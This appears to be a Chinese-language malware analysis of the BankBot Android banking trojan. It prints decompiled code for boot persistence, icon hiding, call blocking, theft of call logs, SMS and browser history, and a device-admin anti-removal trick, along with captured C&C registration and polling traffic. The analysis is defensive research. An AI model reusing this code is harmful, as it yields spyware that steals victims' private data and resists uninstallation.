0x00 样本概况
字段
内容
样本名
BankBot
MD5
3c42c391bec405bb28b28195c2961778
SHA256
93b64019ee48177889d908c393703a2a2fe05ca33793c14b175467ce619b1b94
文件类型
APK
这是一个以盗窃信用卡用户密码为主要目的的bot。安装后显示为Android图标。打开App后 会以Android系统更新的形式,诱导用户操作达到常驻系统的目的。
0x01 行为分析 开机自启动 1 2 3 4 5 6 7 8 9 10 11 12 <receiver android:name ="com.android.market.Autorun" > <intent-filter android:priority ="999" > <action android:name ="android.intent.action.REBOOT" /> <action android:name ="android.intent.action.BOOT_COMPLETED" /> <action android:name ="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter > <intent-filter android:priority ="1000" > <action android:name ="android.intent.action.REBOOT" /> <action android:name ="android.intent.action.BOOT_COMPLETED" /> <action android:name ="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter > </receiver >
Autorun
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.android.market;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public final class Autorun extends BroadcastReceiver { public Autorun () { super (); } public void onReceive (Context context, Intent intent) { Intent v0 = new Intent (context, Scheduler.class); v0.setFlags(0x10000000 ); context.startService(v0); } }
开机将启动 Schedule 服务
Schedule 服务 1 2 3 4 5 6 7 8 9 10 11 12 13 public int onStartCommand (Intent intent, int flags, int startId) { super .onStartCommand(intent, flags, startId); Utils.registerIfNeeded(((Context)this )); Object v0 = this .getSystemService("alarm" ); PendingIntent v6 = PendingIntent.getBroadcast(((Context)this ), 0 , new Intent (((Context)this ), NetworkController.class), 0 ); int v7 = FileController.fileExists(((Context)this ), "interval" ) ? Integer.parseInt(FileController .readFile(((Context)this ), "interval" )) : 0xA ; ((AlarmManager)v0).setRepeating(0 , System.currentTimeMillis() + 0x2710 , ((long )(v7 * 0x3E8 )), v6); this .handleCrashes(); return 1 ; }
Schedule 服务使用alarm manager 注册一个定时任务。这个定时任务由NetworkController完成。 时间间隔由配置文件interval决定。
com.android.market.FileController
1 2 3 static final boolean fileExists (Context context, String filename) { return new File (context.getFilesDir(), filename).exists(); }
隐藏App 图标 1 2 3 4 5 6 7 static final void hideApp (Context context, boolean hide) { ComponentName v0 = new ComponentName (context.getPackageName(), String.valueOf(context.getPackageName()) + ".MainActivity" ); PackageManager v3 = context.getPackageManager(); int v1 = hide ? 2 : 1 ; v3.setComponentEnabledSetting(v0, v1, 1 ); }
伪造的系统Notification 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public void onCreate () { super .onCreate(); new AppCrash ().Register(((Context)this )); Notification v3 = new Notification (0x108008A , "Android system requires user action" , System. currentTimeMillis()); Intent v1 = new Intent (this .getApplicationContext(), AdminX.class); v1.setAction("android.intent.action.VIEW" ); v1.setFlags(0x34000000 ); v3.setLatestEventInfo(this .getBaseContext(), "Android" , "Android system requires action" , PendingIntent .getActivity(((Context)this ), 0 , v1, 0x8000000 )); v3.flags |= 0x62 ; this .startForeground(2 , v3); new Helper (this ).execute(new Void [0 ]); }
禁用屏幕锁定 1 AdminX.this .getSystemService("keyguard" ).newKeyguardLock("ANDROID" ).disableKeyguard();
禁止拨打指定号码电话 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public void onReceive (Context context, Intent intent) { String[] v8; String action = intent.getAction(); String v6 = intent.getStringExtra("state" ); String v3 = intent.getStringExtra("incoming_number" ); String v5 = intent.getStringExtra("android.intent.extra.PHONE_NUMBER" ); String v1 = "8005555550; 4955005550;" ; String v10 = "8005555550; 4955005550;" ; String v11 = "" ; int v9 = 0 ; if (action.equals("android.intent.action.NEW_OUTGOING_CALL" )) { String v4 = v5.replace("+" , "" ).replace("#" , "d" ).replace("*" , "s" ).replace(" " , "" ).replace( "-" , "" ); if (v1 != null ) { v8 = v1.replace(" " , "" ).split(";" ); if (v8.length > 0 ) { int v13; for (v13 = 0 ; v13 < v8.length; ++v13) { if (v4.contains(v8[v13])) { v9 = 1 ; v11 = String.valueOf(v11) + "blocked outgoing call" ; this .setResultData(null ); } } } } if (v9 == 0 ) { v11 = String.valueOf(v11) + "outgoing call" ; } new ReportWithDataTask (context, "call_data" ).execute(new Object []{"[" + this .toJSON(v4, v11) + "]" }); } ... }
通过网页 http://www.sberbank.com/news-and-media/contacts 中的信息我们可以知道:
8005555550 4955005550 这两个号码 sberbank 的号码,在俄罗斯拨打免费。
禁止接听指定号码电话 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 String v10 = "8005555550; 4955005550;" ;if ((action.equals("android.intent.action.PHONE_STATE" )) && (v6.equals("RINGING" ))) {String v2 = v3 != null ? v3.replace("+" , "" ).replace("#" , "d" ).replace("*" , "s" ).replace( " " , "" ).replace("-" , "" ) : "Unknown" ;if (v10 != null ) { v8 = v10.replace(" " , "" ).split(";" ); for (v13 = 0 ; v13 < v8.length; ++v13) { if (v2.contains(v8[v13])) { v11 = "blocked incoming call" ; v9 = 1 ; this .hangUp(context); } } if (!v2.contains("Unknown" )) { goto label_106; } v11 = "blocked incoming call" ; v9 = 1 ; this .hangUp(context); } label_106:if (v9 == 0 ) { v11 = "incoming call" ; }new ReportWithDataTask (context, "call_data" ).execute(new Object []{"[" + this .toJSON(v2, v11) + "]" }); }
隐私窃取 获取电话拨打记录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private StringBuilder getCallLog () { StringBuilder v20 = new StringBuilder ("[" ); String v18 = "O||U|T||||G|O|||I|N||G|" .replace("|" , "" ); Cursor v10 = this .context.getContentResolver().query(CallLog$Calls.CONTENT_URI, null , null , null , null ); String v15 = "I++N+C+O+++M+I++N+G+" .replace("+" , "" ); String v16 = "M-I--S--S---E--D---" .replace("-" , "" ); String v22 = "***{\"n*u**mb**e*r\"***:%s,\"da****te\":%s,\"d*u*ra****ti*o***n\":%s,\"t*yp***e\":%s}*" .replace("*" , "" ); if ((v10.moveToFirst()) && v10.getCount() > 0 ) { int v17 = v10.getColumnIndex("number" ); int v21 = v10.getColumnIndex("type" ); int v11 = v10.getColumnIndex("date" ); int v14 = v10.getColumnIndex("duration" ); while (!v10.isAfterLast()) { String v19 = v10.getString(v17); String v9 = v10.getString(v21); String v7 = v10.getString(v11); String v8 = v10.getString(v14); String v13 = null ; switch (Integer.parseInt(v9)) { case 1 : { v13 = v15; break ; } case 2 : { v13 = v18; break ; } case 3 : { v13 = v16; break ; } } v20.append(String.format(Locale.US, v22, JSONObject.quote(v19), JSONObject.quote( v7), JSONObject.quote(v8), JSONObject.quote(v13))); if (!v10.isLast()) { v20.append("," ); } v10.moveToNext(); } v10.close(); } return v20.append("]" ); }
获取短信记录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private StringBuilder getSmsLog () { StringBuilder v10 = new StringBuilder ("[" ); Cursor v8 = this .context.getContentResolver().query(Uri.parse("content://ABC" .replace("A" , "s" ).replace("B" , "m" ).replace("C" , "s" )), null , null , null , null ); if ((v8.moveToFirst()) && v8.getCount() > 0 ) { while (!v8.isAfterLast()) { v10.append(String.format(Locale.US, "{\"address\":%s,\"body\":%s,\"date\":%s}" , JSONObject.quote(v8.getString(v8.getColumnIndex("address" ))), JSONObject .quote(v8.getString(v8.getColumnIndex("body" ))), JSONObject.quote(v8.getString( v8.getColumnIndex("date" ))))); if (!v8.isLast()) { v10.append("," ); } v8.moveToNext(); } v8.close(); } return v10.append("]" ); }
浏览器书签 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private StringBuilder getHistory (Uri historyUri) { StringBuilder v8 = new StringBuilder ("[" ); Cursor v6 = this .context.getContentResolver().query(historyUri, new String []{"title" , "url" , "date" }, "bookmark = 0" , null , null ); if ((v6.moveToFirst()) && v6.getCount() > 0 ) { while (!v6.isAfterLast()) { v8.append(String.format(Locale.US, "{\"title\":%s,\"url\":%s,\"date\":%s}" , JSONObject .quote(v6.getString(v6.getColumnIndex("title" ))), JSONObject.quote(v6.getString( v6.getColumnIndex("url" ))), JSONObject.quote(v6.getString(v6.getColumnIndex( "date" ))))); if (!v6.isLast()) { v8.append("," ); } v6.moveToNext(); } v6.close(); } return v8.append("]" ); }
骗取信用卡信息 当用户打开Google Play 应用时,打开伪造的Activity,诱使用户输入信用卡信息。
高级技术 不断重启的Servcie com.android.smali3
1 2 3 4 public void onDestroy () { super .onDestroy(); this .startService(new Intent (this .getApplicationContext(), smali3.class)); }
服务被停止,立即重启,无法停止。
防止卸载 Bankbot 申请 Device Admin 权限,无法被正常卸载。
1 2 3 > adb shell pm uninstall com.android.market Failure
禁止删除 Device Admin 权限 这个一个非常流氓的做法,具体的做法是如下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class AdRec extends DeviceAdminReceiver { public AdRec () { super (); } public CharSequence onDisableRequested (Context context, Intent intent) { new AppCrash ().Register(context); if (Build$VERSION.SDK_INT <= 0xA ) { Intent v2 = new Intent ("android.settings.SETTINGS" ); v2.setFlags(0x50000000 ); context.startActivity(v2); Intent v4 = new Intent ("android.intent.action.MAIN" ); v4.addCategory("android.intent.category.HOME" ); v4.setFlags(0x10000000 ); context.startActivity(v4); return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel." ; } context.startService(new Intent (context, ASec.class)); long v6 = 0x7D0 ; try { Thread.sleep(v6); } catch (InterruptedException v3) { v3.printStackTrace(); } return "WARNING! Your device will now reboot to factory settings.\n\nClick \"Yes\" to erase your data and continue. \"No\" for cancel." ; } ... }
重写 DeviceAdminReceiver 的 onDisableRequest 方法。使用 Thread.sleep 方法使用户 无法操作界面,在此期间采取 Activity 切换的方法绕开取消激活的步骤。
这里出过几个问题,
Backdoor.AndroidOS.Obad.a 使用的,在设备管理器中隐身
就是现在代码中所用到这个,目前在所有的Android 版本中存在。
界面劫持 通过界面劫持,诱使用户将App设置为设备管理器。从下图中可以看见Continues按钮其实 是设备管理器的激活按钮。
使用翠鸟对恶意样本进行检查的结果 0x02 C&C 协议分析 Bankbot 以固定时间轮询的方式向C&C服务器请求命令,命令的格式为json格式。从代码中 可以得到json字段的信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private static final String FIELD_ACTION = "action" ;private static final String FIELD_CALL_LOG = "call_log" ;private static final String FIELD_DATA = "data" ;private static final String FIELD_HISTORY = "browser_history" ;private static final String FIELD_ID = "id" ;private static final String FIELD_IMEI = "imei" ;private static final String FIELD_INTERCEPT = "intercept" ;private static final String FIELD_MAYHEM = "mayhem" ;private static final String FIELD_MESSAGE = "prefix_1" ;private static final String FIELD_NEW_SERVER = "server" ;private static final String FIELD_NUMBER_SEND_TO = "number_1" ;private static final String FIELD_OPERATOR = "op" ;private static final String FIELD_PHONE = "phone" ;private static final String FIELD_POLL_INTERVAL = "server_poll" ;private static final String FIELD_PREFIX = "prefix" ;private static final String FIELD_REPORT_CALLS = "calls" ;private static final String FIELD_SMS_HISTORY = "sms_history" ;private static final String FIELD_SPAM = "text_2" ;private static final String FIELD_STATUS = "status" ;private static final String FIELD_URL_TO_SHOW = "url" ;private static final String FIELD_VERSION = "version" ;
请求注册 返回报文
401
注册报文 请求报文
1 2 3 4 5 6 7 POST /p/gate.php HTTP/1.1 Content-Length : 106Content-Type : application/x-www-form-urlencodedHost : quick-sshopping.comConnection : Keep-Aliveaction =reg&imei=098767899076562 &phone=15802920457 &op=Android&version=4 .4 .4 %2 C3.4 .0 -gd853d22&prefix=12 Jhw21
响应报文
1 2 3 4 5 6 7 8 9 10 11 12 13 HTTP/1.1 200 OKServer : nginx/1.8.0Date : Tue, 23 Feb 2016 07:25:21 GMTContent-Type : text/htmlTransfer-Encoding : chunkedConnection : keep-aliveX-Powered-By : PHP/5.5.31 3 200 0
获取命令 1 2 3 4 5 6 7 POST /p/gate.php HTTP/1.1 Content-Length : 32Content-Type : application/x-www-form-urlencodedHost : quick-sshopping.comConnection : Keep-Aliveaction =poll&imei=098767899076562
1 2 3 4 5 6 7 8 9 10 11 HTTP/1.1 200 OKServer : nginx/1.8.0Date : Tue, 23 Feb 2016 07:25:30 GMTContent-Type : text/htmlTransfer-Encoding : chunkedConnection : keep-aliveX-Powered-By : PHP/5.5.31 0
返回的命令为json 格式,主要的指令有下面几个,
指令
含义
401
要求 bot 注册
call_log
获取电话记录, 发送到C&C server
sms_history
获取短信内容,发送到C&C server
browser_history
获取浏览器书签,发送到C&C server
url
访问url 链接
server
更换C&C server
intercept
server_poll
更新从服务器获取命令的时间间隔
mayhem
calls
监视服务了大半天,没有收到有效指令,看来不是特别活跃。
0x03清除 这个App的清除非常费劲,原因就是注册为设备管理器的app不能卸载,而这个App又使诈 不让我们取消设备管理器,估计只有root的机器会好处理一些。
0x04总结 BankBot 样本,代码编写的相当规范,风格严谨,是正规程序员的作品。但行为非常流氓, 很顽固,不容易清除。所以遇到申请device admin 权限的程序一定要小心谨慎,以免不良 后果。而Android的界面劫持也是一个严重的问题,估计后续利用这些技术的恶意App的数量 会越来越多。